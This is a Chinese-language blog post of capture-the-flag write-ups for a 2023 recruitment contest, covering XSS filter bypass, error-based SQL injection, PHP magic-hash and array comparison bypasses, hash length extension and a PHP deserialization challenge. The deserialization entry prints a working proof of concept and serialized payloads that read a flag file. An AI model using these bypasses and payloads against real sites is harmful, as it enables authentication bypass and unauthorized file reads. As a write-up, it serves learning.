V1k1ng 2023 Recruit Writeups

V1k1ng 2023 Recruit Writeups

  1. 原神启动1,2

    xss漏洞绕过[2为添加连接而且过滤了绕过符号直接添加伪协议(转码)]

  2. signin

    没什么好说的

  3. easy_sql

    sql post请求尝试万能密码可以,进行报错注入

  4. robot

  • php 小数点超过161位坐平方运算会被截断,变为0

  • php中以0e开头的被当做科学计数法

  • 以下值在MD5加密以0E开头:

    • QNKCDZO
    • 240610708
    • S878926199a
    • s155964671a
    • s214587387a

    以下值在sha1加密之后以0E开头:

    • sha1(‘aaroZmOk’)

    • sha1(‘aaK1STfy’)

    • sha1(‘aaO8zKZF’)

    • sha1(‘aa3OFF9m’)

    • 10932435112

      为什么要去引号?

  • preg_match(原字符串,需要匹配的字符串)成功返回[使用数组形式绕过]

  • strpos()返回匹配字符串首位置不会滤过数组

  • image-20230914205301076

  1. read_file

  • 首先看help.txt 然后看到几个奇怪的名字,分别进去看一眼发现flag2有提示然后用字典扫描即可
  1. 签收gift

  • base64转图片,扫描得几个随机数,将所有种子的随机数全部输出一遍得到下一个应输出的随机数
  1. hashpump

​ 看看资料 https://blog.csdn.net/crisprx/article/details/104349608

  • image-20231013154002409
  1. 剑来

​ F12,剑来!

  1. 反序列化

​ 检查有效性,不能出现不可见字符,把proteced换成public属性[仅对7.1.x以上的php版本生效,因为对属性 类型]

​ 因为__destruct()中将content置为空,所以不能利用write(),我们可以控制op,和file,

​ 将op赋为2调用read(),file传入读取文件路径,绝对文件路径随便填一个错误路径,报错得到

​ flag藏在注释中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
poc:
<?php
class FileHandler{
public $op=2;
public $filename="C:\phpstudy_pro\WWW\unserialization\\flag.php";
#public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}

$data=new FileHandler();
$data=serialize($data);
echo ($data);
echo '<br>';
echo urlencode($data);
payload:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:44:"C:\phpstudy_pro\WWW\unserialization\flag.php";s:7:"content";N;}
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A44%3A%22C%3A%5Cphpstudy_pro%5CWWW%5Cunserialization%5Cflag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

V1k1ng 2023 Recruit Writeups
http://yuuk1.top/2023/12/07/V1k1ng-2023-Recruit-Writeups/
作者
Yuuk1
发布于
2023年12月7日
许可协议